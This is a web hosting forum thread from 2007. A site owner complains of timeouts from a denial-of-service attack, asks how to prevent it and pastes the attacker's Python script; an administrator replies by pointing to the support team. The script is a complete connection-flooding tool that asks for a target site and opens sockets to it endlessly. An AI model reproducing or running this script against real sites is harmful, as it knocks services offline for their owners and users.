Go Back   Web Hosting UK Forums | Linux Windows Dedicated Server and cPanel VPS Hosting Forum > Community Forums > The Lounge

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 12-23-2007, 06:40 PM
Senior Member
 
Join Date: Dec 2006
Posts: 547
Send a message via MSN to karimali831
Default My site -> Timeout issues

Hi,

I keep getting connection timeout on my site because of a DoS attack that is being used by someone to attack my site..

Is there anyway to prevent this from happening? The code being used below might help, this is a simple Apache DoS script coded in Python that connects to the target server and overloads it with socket connections.

Code:
from os import *
from socket import *
from string import *
from random import *
from time import *
from thread import *

host = raw_input("Site you want down: ")
port = input("Port number: ")



def connect(i):
    try:
        sock1 = socket(AF_INET, SOCK_STREAM)
        sock1.connect((host, port))
        sleep(99999)
        sock1.close
    except:
        print "The site is down"

n = 0


while 1:
    try:
        start_new_thread(connect, (n,))
    except:
        print "Connection Lost. Restart DOS"
    print "FLOODING!"
    sleep(0.1)
Reply With Quote
  #2 (permalink)  
Old 12-23-2007, 09:52 PM
Administrator
 
Join Date: Mar 2006
Posts: 1,752
Default

Hello Karim,

Our Senior System Admins can help you to reverse such DDoS attacks. You should contact our Support Team when you face such problems.

We have expertise in reversing DDoS attacks.
__________________
Web Hosting UK - ASP MSSQL Hosting - cPanel Linux Hosting
AIM : webredback || msn : andrew @ webhosting.uk.com
Toll Free : 0808 262 0855
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is On
Trackbacks are On
Pingbacks are On
Refbacks are On
Forum Jump


All times are GMT. The time now is 06:00 PM.
Copyright 2002-2007 WebHosting.uk.com. All rights reserved.
Web Hosting UK Forum